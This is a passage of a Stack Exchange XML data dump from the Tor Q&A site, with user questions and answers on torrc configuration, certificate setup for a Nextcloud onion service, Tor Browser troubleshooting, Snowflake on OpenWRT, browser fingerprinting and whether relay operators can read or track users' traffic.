/var/snap/nextcloud/current/&amp;quot;$ssl_private_key_filename&amp;quot;&#xA;  sudo cp &amp;quot;$merged_ca_ssl_cert_filename&amp;quot; /var/snap/nextcloud/current/&amp;quot;$merged_ca_ssl_cert_filename&amp;quot;&#xA;&#xA;  # CLI sudo /snap/bin/nextcloud.enable-https custom Says:&#xA;  sudo /snap/bin/nextcloud.enable-https custom &amp;quot;/var/snap/nextcloud/current/$ssl_public_key_filename&amp;quot; &amp;quot;/var/snap/nextcloud/current/$ssl_private_key_filename&amp;quot; &amp;quot;/var/snap/nextcloud/current/$merged_ca_ssl_cert_filename&amp;quot;&#xA;}&#xA;&#xA;delete_target_files() {&#xA;  rm &amp;quot;$CA_PRIVATE_KEY_FILENAME&amp;quot;&#xA;  rm &amp;quot;$CA_PUBLIC_CERT_FILENAME&amp;quot;&#xA;  rm &amp;quot;$CA_PUBLIC_KEY_FILENAME&amp;quot;&#xA;  rm &amp;quot;$SSL_PRIVATE_KEY_FILENAME&amp;quot;&#xA;  rm &amp;quot;$CA_SIGN_SSL_CERT_REQUEST_FILENAME&amp;quot;&#xA;  rm &amp;quot;$SIGNED_DOMAINS_FILENAME&amp;quot;&#xA;  rm &amp;quot;$SSL_PUBLIC_KEY_FILENAME&amp;quot;&#xA;  rm &amp;quot;$MERGED_CA_SSL_CERT_FILENAME&amp;quot;&#xA;  sudo rm &amp;quot;/usr/local/share/ca-certificates/$CA_PUBLIC_KEY_FILENAME&amp;quot;&#xA;  sudo rm &amp;quot;/usr/local/share/ca-certificates/$CA_PUBLIC_CERT_FILENAME&amp;quot;&#xA;  sudo rm &amp;quot;/var/snap/nextcloud/current/$SSL_PUBLIC_KEY_FILENAME&amp;quot;&#xA;  sudo rm &amp;quot;/var/snap/nextcloud/current/$SSL_PRIVATE_KEY_FILENAME&amp;quot;&#xA;  sudo rm &amp;quot;/var/snap/nextcloud/current/$MERGED_CA_SSL_CERT_FILENAME&amp;quot;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Afterwards you still have to manually load your certificate into your respective browser in &lt;code&gt;settings&amp;gt;search:certificates&amp;gt;...&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="32892" LastActivityDate="2022-12-31T11:33:59.460" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23505" PostTypeId="2" ParentId="23499" CreationDate="2023-01-02T15:59:05.863" Score="1" Body="&lt;p&gt;Quote &lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Whonix Homepage&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The Everything Tor OS&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.whonix.org/wiki/About#Security_by_Isolation&quot; rel=&quot;nofollow noreferrer&quot;&gt;All internet traffic is routed&lt;/a&gt; through the &lt;a href=&quot;https://www.whonix.org/wiki/Why_does_Whonix_use_Tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor anonymity network&lt;/a&gt;. No exceptions. Whonix is the &amp;quot;All Tor Operating System&amp;quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It is better to use Tor Browser even inside Whonix due to its browser fingerprinting defenses. &lt;a href=&quot;https://www.whonix.org/wiki/Tor_Browser&quot; rel=&quot;nofollow noreferrer&quot;&gt;Quote Whonix wiki page about Tor Browser&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Hiding your identity is harder than just hiding your&#xA;&lt;a href=&quot;https://www.whonix.org/wiki/Data_Collection_Techniques#IP&quot; rel=&quot;nofollow noreferrer&quot;&gt;IP&lt;/a&gt;. Tor Browser provides protection from &lt;a href=&quot;https://www.whonix.org/wiki/Data_Collection_Techniques#Browser_Fingerprinting&quot; rel=&quot;nofollow noreferrer&quot;&gt;browser fingerprinting&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;See also:&#xA;&lt;a href=&quot;https://tor.stackexchange.com/questions/536/what-is-browser-fingerprinting-what-is-linkability/541&quot;&gt;What is browser fingerprinting? What is linkability?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Full disclosure: I am a maintainer of Whonix.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2023-01-02T15:59:05.863" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23509" PostTypeId="1" CreationDate="2023-01-10T15:06:02.210" Score="0" ViewCount="111" Body="&lt;p&gt;I have been hypothesizing a case where a legal owner of some digital asset (e.g. a software, film, music ,etc.) is worried about the illegal distribution of the copyrighted material and wants to hire a large number of machines to act as relays on the network to track down the illegal downloads and uploads of the copyrighted material. For this particular example if someone donates enough machines and bandwidth to the network and communicate between the machines they would very likely be able to track down some of the downloads.&lt;/p&gt;&#xA;&lt;p&gt;Could this idea be turned into a source of business itself? Dominating the network first, and then selling out the information (IP address, time of access, etc.) to the copyright holders?&lt;/p&gt;&#xA;" OwnerUserId="37876" LastActivityDate="2023-01-17T00:50:13.483" Title="Coulde there be snitches among I2P peers or Tor relays?" Tags="|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23510" PostTypeId="2" ParentId="15915" CreationDate="2023-01-10T22:55:09.117" Score="0" Body="&lt;p&gt;Beginning in 2020, Tails now provides the SHA256 checksum hashes for its latest images in the form of a json file at: &lt;a href=&quot;https://tails.boum.org/install/v2/Tails/amd64/stable/latest.json&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org/install/v2/Tails/amd64/stable/latest.json&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;These checksums are used to enable verification of images by way of the javascript verification tool (see &lt;a href=&quot;https://tails.boum.org/install/download/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;step 2/4 on the image download page&lt;/a&gt;) that Tails rolled out in 2020.  See the links below for more info:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/news/verification_extension_deprecation/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org/news/verification_extension_deprecation/index.en.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/contribute/design/download_verification/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tails.boum.org/contribute/design/download_verification/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="37880" LastActivityDate="2023-01-10T22:55:09.117" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23511" PostTypeId="2" ParentId="23485" CreationDate="2023-01-11T00:56:27.763" Score="0" Body="&lt;p&gt;Without detailed logs, it's impossible to tell if a DoS attack is occurring or if its another issue. You may want to anonymize your logs and send them as a bug report or inquiry at the tor developers.&lt;/p&gt;&#xA;&lt;p&gt;Does this happen during daytime in western countries? Have you configured your system correctly? Have you limited the MB/s on your relay? So many variables.&lt;/p&gt;&#xA;&lt;p&gt;A DoS is just a potential cause in a sea of causes and fate.&lt;/p&gt;&#xA;" OwnerDisplayName="user37855" LastActivityDate="2023-01-11T00:56:27.763" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23512" PostTypeId="1" CreationDate="2023-01-11T16:39:15.227" Score="0" ViewCount="751" Body="&lt;p&gt;This is my first post on the community, any help is much appreciated.&lt;/p&gt;&#xA;&lt;p&gt;I did install both tor and torbrowser-launcher on my Kali machine, but when I tried to run the command &amp;quot;torbrowser-launcher&amp;quot;, it shows the small dialog box saying installing and verifying signature, then I get the following message and it's not loading the tor browser:&lt;/p&gt;&#xA;&lt;p&gt;FileNotFoundError: [Errno 2] No such file or directory: '/home/agent77_kali/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser/TorBrowser/Docs/ChangeLog.txt'&#xA;zsh: IOT instruction torbrowser-laun&lt;/p&gt;&#xA;&lt;p&gt;I can see that the Tor Browser and Tor Browser Launcher settings has been installed as it's in the applications, screenshot below.&#xA;If I open the Tor browser from the application section, the verifying signature dialog box pops up and after few seconds, close.&#xA;And if I open the Tor Browser Launcher settings, the details can also be seen from the screenshot below.&lt;/p&gt;&#xA;&lt;p&gt;What can I do to resolve the error please.&#xA;Thanks for the help in advance.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/vpnFb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vpnFb.png&quot; alt=&quot;tor-launcher-setting&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8Qc9b.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Qc9b.png&quot; alt=&quot;tor-browser-launcher-error&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RTWS7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RTWS7.png&quot; alt=&quot;tor-browser-loading-signature&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="37882" LastActivityDate="2023-01-15T01:25:11.603" Title="Tor browser not launching after installation on Kali" Tags="|tor-browser-bundle|linux|tor-install|kali-linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23514" PostTypeId="1" AcceptedAnswerId="23517" CreationDate="2023-01-14T21:56:30.583" Score="0" ViewCount="267" Body="&lt;p&gt;I am trying to do some research for my school thesis related to the Tor network, and I need to specify and use only one guard relay that I own while using the Tor browser. I tried to specify it with the &lt;em&gt;EntryNodes&lt;/em&gt; option in &lt;em&gt;torcc&lt;/em&gt; config file, but with no success. Because my relay is new (47 hours now), it's not yet relaying traffic, therefore I tried to connect to any other guard node, just to confirm that this option is possible. I tried to use an IP address of one relay, the IP addresses of &lt;a href=&quot;https://metrics.torproject.org/rs.html#toprelays&quot; rel=&quot;nofollow noreferrer&quot;&gt;20 TOP relays&lt;/a&gt;, and one or more fingerprints of relays, but no circuits were created. I for example tried:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;EntryNodes $35F5A0B2F017FD09F7EBF33A565A53D8EB2C9272&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Circuits were only created in case I used country code in the &lt;em&gt;EntryNodes&lt;/em&gt; option, such as &lt;em&gt;EntryNodes {ca}&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I also tried &lt;em&gt;MiddleNodes&lt;/em&gt; and &lt;em&gt;ExitNodes&lt;/em&gt; options with specific IP addresses of relays and as well with fingerprints of these relays - everything worked fine and circuits were created, so I do not understand what might be the problem with the &lt;em&gt;EntryNodes&lt;/em&gt; option. After every restart of the Tor process, according to the Nyx tool, it gets bootstrapped to 75%, then continuously print&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Failed to find node for hop #1 of our path. Discarding this circuit.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried to turn on as much debug info as possible, but could not understand anything more than the path creation is not possible. I even tried to create circuits with no configuration, then take used guard nodes from created circuits and put their IP address in the &lt;em&gt;EntryNodes&lt;/em&gt; option, but no circuits were created after the restart of the Tor process, so I don't really understand what might be the problem. The option to specify entry nodes with fingerprints is stated in &lt;a href=&quot;https://2019.www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor documentation&lt;/a&gt;, and I have also found a few similar examples on the internet, so it should be possible. My Tor version is 0.4.7.12 and I am using the flatpack version tor browser (was not able to install the normal version due to an installation error) on Fedora 34.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="37902" LastEditorUserId="37902" LastEditDate="2023-01-15T01:07:00.880" LastActivityDate="2023-01-15T16:46:55.627" Title="Can't specify any guard nodes in torrc file" Tags="|configuration|guard-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23515" PostTypeId="2" ParentId="23512" CreationDate="2023-01-15T01:25:11.603" Score="0" Body="&lt;p&gt;I just had the same problem and I realized it's just a dumb syntax error.&#xA;You can see in your files that inside &amp;quot;/home/agent77_kali/.local/share/torbrowser/tbb/x86_64/&amp;quot; there's a directory called &amp;quot;tor-browser&amp;quot; instead of &amp;quot;tor-browser_en-US&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Changing that directory's name fixed the problem for me:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mv tor-browser/ tor-browser_en-US/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(This command only works if you are in /home/agent77_kali/.local/share/torbrowser/tbb/x86_64/)&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="37903" LastActivityDate="2023-01-15T01:25:11.603" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23517" PostTypeId="2" ParentId="23514" CreationDate="2023-01-15T16:46:55.627" Score="0" Body="&lt;p&gt;So the problem seems to be in the Tor browsers itself. It is using its own tor process, which as it seems, is not working properly in some cases (maybe it's only the flatpack version). I tried to use the &amp;quot;original&amp;quot; Tor process, which has config placed in &lt;code&gt;/etc/tor/torrc&lt;/code&gt; and the &lt;code&gt;EntryNodes&lt;/code&gt; option worked without any problems. In case someone needs to use this option with the Tor browser, a possible solution could be to set up the browser to work with the other Tor process.&lt;/p&gt;&#xA;" OwnerUserId="37902" LastActivityDate="2023-01-15T16:46:55.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23518" PostTypeId="1" CreationDate="2023-01-16T05:22:27.787" Score="1" ViewCount="90" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.torproject.org/tormobile/tormobile-3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Can I run Tor Browser on an iOS device?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;We recommend an iOS app called Onion Browser, which is open source,&#xA;uses Tor routing, and is developed by someone who works closely with&#xA;the Tor Project. However, Apple requires browsers on iOS to use&#xA;something called Webkit, which prevents Onion Browser from having the&#xA;same privacy protections as Tor Browser.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;MDM Spyware &amp;quot;Microsoft Company Portal&amp;quot; (was called Intune) was installed on my business phone. Can I still use &amp;quot;Onion Browser&amp;quot; without them seeing what URI I am visiting?&lt;/p&gt;&#xA;" OwnerUserId="14832" LastActivityDate="2023-02-12T20:35:45.677" Title="MDM Spyware &quot;Microsoft Company Portal&quot; was installed on my business phone. Can I still use &quot;Onion Browser&quot; without them seeing what URI I am visiting?" Tags="|ios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23519" PostTypeId="2" ParentId="23498" CreationDate="2023-01-17T00:26:27.280" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Can malicious actors, and/or malicous tor-node operators directly read the Nextcloud password and username that I submit over http://some_onion_domain.onion, or do they require an additional vulnerability/exploit/majority to actually read the passwords?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Malicious tor relay operators cannot read your Nextcloud username or password that you submit to http://some_onion_domain.onion. Onion service traffic is encrypted from the client's tor proxy to the onion service's tor proxy. No tor relay can see any of the http traffic, even when you're not using tls/https. Onion service connections don't have an &amp;quot;exit&amp;quot; relay like non-onion connections do. Onion service connections are handled differently.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;And if yes, are malicous actors monitoring my wifi able to do so, or only malicious tor-node operators, or both, or also some other actors outside the tor-network?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Neither anyone monitoring your wifi nor tor relay operators should be able to read any of the http contents. As long as your client tor proxy is running on the same computer as the client, and the onion service's tor proxy is running on the same computer as the web server, then no one should be able to read any of the plaintext traffic.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;To limit the scope of the question, I make the following assumptions:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Malicious actors can see the outgoing traffic towards tor, over wifi.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;They can see the encrypted traffic, but not the plaintext http contents.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;A malicious tor-exit node can see the un-encrypted http data that is submitted into the .onion domain, upon loggin in via tor.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;No, a tor relay cannot see the un-encrypted http data for onion services. They &lt;em&gt;can&lt;/em&gt; see un-encrypted http data for &lt;em&gt;non-onion&lt;/em&gt; services.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;The malicious tor-exit node does not need to know where my nextcloud server is located, if they can intercept my username and password that is submitted over tor over http, as they can re-use them over tor, on the same .onion themselves.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;No, a malicious tor relay should never learn the http contents, or the onion address that you're connecting to. So even if they could learn the http contents, they wouldn't know what onion service address to connect to.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2023-01-17T00:26:27.280" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23520" PostTypeId="2" ParentId="23509" CreationDate="2023-01-17T00:50:13.483" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Could there be snitches among I2P peers or Tor relays?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The Tor network is made up of volunteer-run relays, and those relay operators could be malicious. A malicious relay operator could run many relays and attempt to deanonymize users, but they would need to run a large fraction of the network's relays to reliably track users.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For this particular example if someone donates enough machines and bandwidth to the network and communicate between the machines they would very likely be able to track down some of the downloads.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Most web traffic is encrypted, so proving that a user downloaded specific copyrighted material would be difficult.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Could this idea be turned into a source of business itself? Dominating the network first, and then selling out the information (IP address, time of access, etc.) to the copyright holders?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If relays were found to be doing this, they would be removed from the network by the directory authorities (see &lt;a href=&quot;https://gitlab.torproject.org/tpo/community/team/-/wikis/Expectations-for-Relay-Operators&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;Expectations for Relay Operators&amp;quot;&lt;/a&gt;). Monitoring or disclosing users' traffic may also break US wiretap laws, or other similar laws in non-U.S. countries.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2023-01-17T00:50:13.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23521" PostTypeId="1" CreationDate="2023-01-19T06:33:22.130" Score="0" ViewCount="59" Body="&lt;p&gt;My tor is installed in the applications keep getting this error that my torrc file could be corrupted. I have deleted and re-installed.&lt;/p&gt;&#xA;&lt;p&gt;my Library/app support/ does not have a Tor anything directory?&lt;/p&gt;&#xA;&lt;p&gt;any ideas where this torrc file lives? did a search, nothing.&lt;/p&gt;&#xA;" OwnerUserId="37919" LastActivityDate="2023-08-09T21:42:07.150" Title="I am on Ventura - I don't see this torrc file at all" Tags="|configuration|error|startup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23522" PostTypeId="1" CreationDate="2023-01-19T14:22:25.480" Score="1" ViewCount="204" Body="&lt;p&gt;I'm currently using the Tor Browser Bundle on a Debian 11 machine, I downloaded it from the Tor website.&#xA;I need to customize the ExitNodes, in order to do this I have to edit the torrc file.&#xA;I have found the file at the following location:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/home/xxxxx/.local/share/torbrowser/tbb/x86_64/tor-browser_it/Browser/TorBrowser/Data/Tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But the very first line of this file says:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;This file was generated by Tor; if you edit it, comments will not be preserved&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried to edit it anyway, but whenever I run the tor browser, the file is overwritten with the default and I lose my changes.&#xA;So I'm stuck here, any hint?&lt;/p&gt;&#xA;" OwnerUserId="37920" LastActivityDate="2023-02-09T15:24:27.830" Title="Exact location of the torrc configuration file for Tor Browser Bundle" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23523" PostTypeId="1" CreationDate="2023-01-20T14:02:34.600" Score="1" ViewCount="259" Body="&lt;p&gt;I am using OpenWRT router 22.03.03 in a heavily censored country.&#xA;That said all the VPN protocols are filtered and stopped working and the only option for getting connected to the free internet is using Tor and the only bridge that functions properly iwith the Tor is the Snowflake.&lt;/p&gt;&#xA;&lt;p&gt;I am wondering how can I bring the Snowflake functionality to my OpenWRT router,&#xA;the users that are connected to the OpenWRT router should get access to the uncensored internet via Snowflake bridge running with the Tor network.&lt;/p&gt;&#xA;&lt;p&gt;I have not seen any tutorial on how to use snowflake on OpenWrt router, therefore I am asking for any hint or tutorial to shed a light on this subject.&lt;/p&gt;&#xA;&lt;p&gt;I am looking for answers to the following questions.&lt;/p&gt;&#xA;&lt;p&gt;(1) Is the snowflake functionality already built in the Tor package of the OpenWRT or it should be installed as a separate package?&lt;/p&gt;&#xA;&lt;p&gt;(2) In the case if the snowflake should be installed as a separate package what is/are package(s) that should be installed on the OpenWRT router in order to make the router to access to the Snowflake bridge?&lt;/p&gt;&#xA;&lt;p&gt;(3) In a case if the Snowflake is already bundled with the Tor package how can I activate it in the tor configuration file?&lt;/p&gt;&#xA;&lt;p&gt;(4) What is the minimum required settings that I have to configure the OpenWRT router in order to do followings?&lt;/p&gt;&#xA;&lt;p&gt;(a) Passthorough all the ingoing and outgoing internet traffic of all of the LAN devices thorough the Snowflake bridge, including the DNS request and while the actual configuration should make the router to act like a VPN.&lt;/p&gt;&#xA;&lt;p&gt;(b) In the case if the Snowflake bridge is not connected to the internet, all the internet traffic be blocked inside the router.&lt;/p&gt;&#xA;&lt;p&gt;I would appreciate any tutorial or configuration settings for mentioned questions.&lt;/p&gt;&#xA;" OwnerUserId="37925" LastActivityDate="2023-01-20T14:02:34.600" Title="Tor on OpenWRT using snowflake bridge for circumventing the internet censorship (Transparent Proxy TP)" Tags="|transparent-proxy|firewall|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23525" PostTypeId="1" CreationDate="2023-01-26T03:01:25.800" Score="0" ViewCount="14" Body="&lt;p&gt;Is there a way to see what route Tor is taking while I am logged in to a webpage when using the Tor browser? I have thought running a relay search would provide me the information but I have not be able to locate it.&lt;/p&gt;&#xA;" OwnerUserId="37942" LastActivityDate="2023-01-26T03:01:25.800" Title="Route Identification Assistance" Tags="|help|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23526" PostTypeId="2" ParentId="15889" CreationDate="2023-01-28T13:29:36.717" Score="1" Body="&lt;p&gt;For someone reading in 2023:&lt;/p&gt;&#xA;&lt;p&gt;Free Download Manager now support Socks5 proxy. To access onion download links, just &lt;strong&gt;run a Tor Browser&lt;/strong&gt; and then add Address: &lt;strong&gt;127.0.0.1&lt;/strong&gt; and Port: &lt;strong&gt;9150&lt;/strong&gt; in your FDM settings:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oPMts.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oPMts.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;After that you can paste onion download links in FDM and it will use socks5 proxy to download files.&lt;/p&gt;&#xA;&lt;p&gt;Disclaimer: I have zero knowledge of Tor and Proxies, I just found this method while messing with tor settings and FDM settings. I am not sure if this is safe or anonymous. I am sharing because it works, but I dont know at what cost. Someone experienced can probably provide input if this method is okay.&lt;/p&gt;&#xA;" OwnerUserId="37961" LastActivityDate="2023-01-28T13:29:36.717" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23527" PostTypeId="2" ParentId="16047" CreationDate="2023-01-29T18:20:54.263" Score="0" Body="&lt;p&gt;Those looking for 2.12 ISO image can also try the following from the official site &lt;a href=&quot;https://iso-history.tails.boum.org/tails-i386-2.12/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://iso-history.tails.boum.org/tails-i386-2.12/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;tails-i386-2.12.iso     1143314432  2017-Apr-19 10:46&#xA;tails-i386-2.12.iso.sig 833         2017-Apr-19 10:46&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="37966" LastActivityDate="2023-01-29T18:20:54.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23529" PostTypeId="1" CreationDate="2023-01-30T07:36:34.947" Score="2" ViewCount="296" Body="&lt;p&gt;hi guys since there is no napsternetv (vpn)app on mac,is there alt app for it?&#xA;what I mean is connecting napsternetv's server with another program.&lt;/p&gt;&#xA;" OwnerUserId="37970" LastActivityDate="2023-01-30T07:36:34.947" Title="connecting napsternetv server on mac" Tags="|mac|vpn|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23530" PostTypeId="1" CreationDate="2023-01-30T16:13:18.043" Score="0" ViewCount="142" Body="&lt;p&gt;On some websites certain scripts must be temporarily allowed in order to get past the captchas. After I get past the captcha I disable those temporary permissions.&lt;/p&gt;&#xA;&lt;p&gt;When doing that I see the allow/disallow canvas icon show up in the address bar.&lt;/p&gt;&#xA;&lt;p&gt;How exactly does TOR deal with canvvassing to protect my privacy?&lt;/p&gt;&#xA;&lt;p&gt;For now I have installed the CanvasBlocker extension manually from an .xpi file, and it does show that it is blocking canvas while the mentioned scripts are allowed.&lt;/p&gt;&#xA;" OwnerUserId="16103" LastEditorUserId="435" LastEditDate="2023-02-01T00:05:32.727" LastActivityDate="2023-02-01T00:05:32.727" Title="Does Tor allow canvassing?" Tags="|anonymity|fingerprinting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23531" PostTypeId="2" ParentId="23530" CreationDate="2023-01-30T21:02:07.417" Score="1" Body="&lt;p&gt;First of all, installing third-party extensions can further reduce your anonymity. You can't predict vulnerabilities or information that is sent to the extension developer or the site your visiting.&lt;/p&gt;&#xA;&lt;p&gt;As for HTML canvases, &lt;a href=&quot;https://tor.stackexchange.com/questions/4285/can-html5-canvas-image-data-reveal-the-users-ip&quot;&gt;the top answer here addresses the question.&lt;/a&gt; Unless you allow the canvas, The Tor Browser will send back a blank canvas. I'd recommend X'ing out of the notification all together as blocking it sends a much more obvious &amp;quot;I don't want to send you a canvas.&amp;quot; &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/HTMLCanvasElement&quot; rel=&quot;nofollow noreferrer&quot;&gt;This is according to the API by Mozilla for Firefox.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In general, X'ing out of permission notifications does the same as blocking without letting the website know you blocked it, and it will save you more time than considering whether or not accepting or blocking is the correct thing to do.&lt;/p&gt;&#xA;" OwnerDisplayName="user37855" LastActivityDate="2023-01-30T21:02:07.417" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23532" PostTypeId="1" CreationDate="2023-01-31T04:40:37.270" Score="0" ViewCount="187" Body="&lt;p&gt;Tor Browser allows three safety settings. The highest level safety setting is designated &lt;em&gt;Safest&lt;/em&gt;. When one clicks on that setting, a display box appears which says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Safest: Only allows website features required for static sites and basic services. These changes affect images, media, and scripts.&#xA;JavaScript is disabled by default on all sites.&#xA;Some fonts, icons, math symbols, and images are disabled.&#xA;Audio and video (HTML5 media), and WebGL are click-to-play.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;However, if I set the safety level to &lt;em&gt;Safest&lt;/em&gt; and then look at the &lt;code&gt;javascript.enabled&lt;/code&gt; entry in &lt;code&gt;about:config&lt;/code&gt;, the entry shows that javascript &lt;em&gt;is&lt;/em&gt; enabled ... which appears to be contrary to the statement that Javascript is disabled by default on all sites.&lt;/p&gt;&#xA;&lt;p&gt;What is going on? And is there a reliable way (e.g., a test website) of seeing what features are, and are not, enabled?&lt;/p&gt;&#xA;" OwnerUserId="435" LastActivityDate="2023-02-03T01:13:32.987" Title="Safety settings and javascript status" Tags="|anonymity|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
